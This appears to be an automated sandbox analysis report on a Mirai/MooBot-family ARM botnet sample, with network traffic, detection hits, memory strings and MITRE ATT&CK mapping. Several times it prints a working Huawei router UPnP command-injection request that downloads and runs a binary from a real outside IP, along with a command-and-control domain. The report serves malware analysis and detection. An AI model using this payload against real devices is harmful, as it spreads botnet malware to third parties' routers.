/tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 132.43.167.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.226.107.82
Source: unknown	TCP traffic detected without corresponding DNS query: 41.136.65.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.144.243
Source: unknown	TCP traffic detected without corresponding DNS query: 41.118.38.146
Source: unknown	TCP traffic detected without corresponding DNS query: 47.220.35.254
Source: unknown	TCP traffic detected without corresponding DNS query: 161.62.170.215
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.139.194
Source: unknown	TCP traffic detected without corresponding DNS query: 41.60.28.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.252.242.160
Source: unknown	TCP traffic detected without corresponding DNS query: 41.175.213.243
Source: unknown	TCP traffic detected without corresponding DNS query: 157.33.29.144
Source: unknown	TCP traffic detected without corresponding DNS query: 41.196.168.140
Source: unknown	TCP traffic detected without corresponding DNS query: 107.28.56.218
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.52.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.33.85
Source: unknown	TCP traffic detected without corresponding DNS query: 157.55.183.107
Source: unknown	TCP traffic detected without corresponding DNS query: 197.9.56.125
Source: unknown	TCP traffic detected without corresponding DNS query: 140.184.237.220
Source: unknown	TCP traffic detected without corresponding DNS query: 156.214.191.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.92.39.139
Source: unknown	TCP traffic detected without corresponding DNS query: 41.58.58.81
Source: unknown	TCP traffic detected without corresponding DNS query: 41.246.142.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.167.247
Source: unknown	TCP traffic detected without corresponding DNS query: 143.167.249.143
Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.177.122
Source: unknown	TCP traffic detected without corresponding DNS query: 58.59.49.117
Source: unknown	TCP traffic detected without corresponding DNS query: 197.212.255.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.77.24.39
Source: unknown	TCP traffic detected without corresponding DNS query: 65.69.196.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.174.147.120
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.204.211
Source: unknown	TCP traffic detected without corresponding DNS query: 157.23.245.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.132.148
Source: unknown	TCP traffic detected without corresponding DNS query: 41.140.238.97
Source: unknown	TCP traffic detected without corresponding DNS query: 157.183.92.174
Source: unknown	TCP traffic detected without corresponding DNS query: 183.197.247.150
Source: unknown	TCP traffic detected without corresponding DNS query: 157.91.73.194
Source: unknown	TCP traffic detected without corresponding DNS query: 61.76.197.237
Source: unknown	TCP traffic detected without corresponding DNS query: 169.28.241.104
Source: unknown	TCP traffic detected without corresponding DNS query: 197.245.153.86
Source: unknown	TCP traffic detected without corresponding DNS query: 82.139.154.206
Source: unknown	TCP traffic detected without corresponding DNS query: 115.172.104.99
Source: unknown	TCP traffic detected without corresponding DNS query: 74.203.20.222
Source: unknown	TCP traffic detected without corresponding DNS query: 197.147.158.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.62.154.197
Source: unknown	TCP traffic detected without corresponding DNS query: 157.207.166.215
Source: unknown	TCP traffic detected without corresponding DNS query: 209.142.137.164
Source: unknown	TCP traffic detected without corresponding DNS query: 58.167.15.234

Source: unknown

DNS traffic detected: queries for: bn.networkbn.click

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: arm7.elf	ReversingLabs: Detection: 62%
Source: arm7.elf	Virustotal: Detection: 47%			Perma Link

Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: arm7.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5486.1.00007f6340017000.00007f634002e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: arm7.elf PID: 5486, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_method_nudp
Source: ELF static info symbol of initial sample	Name: attack_method_stdhex
Source: ELF static info symbol of initial sample	Name: attack_method_tcp
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse

Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 928, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 941, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 1203, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 5519, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 5520, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 5523, result: successful	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	SIGKILL sent: pid: 5526, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpspkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/hrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/watchdog/bin/systemd

Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5496)	File opened: /proc/265/cmdline	Jump to behavior

Source: /tmp/arm7.elf (PID: 5486)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5519)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5520)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5523)	Queries kernel information via 'uname':	Jump to behavior

Source: arm7.elf, 5486.1.000056202d256000.000056202d3a5000.rw-.sdmp	Binary or memory string: &- V!/etc/qemu-binfmt/arm
Source: arm7.elf, 5486.1.000056202d256000.000056202d3a5000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5486.1.00007ffc0b5a1000.00007ffc0b5c2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 5486.1.00007ffc0b5a1000.00007ffc0b5c2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5486.1.00007f6340017000.00007f634002e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 5486, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
arm7.elf	62%	ReversingLabs	Linux.Trojan.Mirai
arm7.elf	48%	Virustotal		Browse
arm7.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm7.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	arm7.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
197.254.220.161	unknown	Sudan	33788	KANARTELSD	false
197.12.117.149	unknown	Tunisia	37703	ATLAXTN	false
197.204.161.234	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.140.211.100	unknown	Morocco	36903	MT-MPLSMA	false
157.193.227.178	unknown	Belgium	2611	BELNETBE	false
57.80.253.214	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
197.130.149.34	unknown	Morocco	6713	IAM-ASMA	false
157.98.18.53	unknown	United States	3527	NIH-NETUS	false
41.74.239.187	unknown	unknown	37235	MimecastSAZA	false
41.25.93.158	unknown	South Africa	36994	Vodacom-VBZA	false
41.157.66.12	unknown	South Africa	37168	CELL-CZA	false
197.114.168.190	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.145.68.62	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
197.59.229.29	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.2.168.177	unknown	Tunisia	37705	TOPNETTN	false
101.205.100.101	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.138.235.115	unknown	Italy	137	ASGARRConsortiumGARREU	false
197.165.20.72	unknown	Egypt	24863	LINKdotNET-ASEG	false
144.159.187.148	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
197.56.113.117	unknown	Egypt	8452	TE-ASTE-ASEG	false
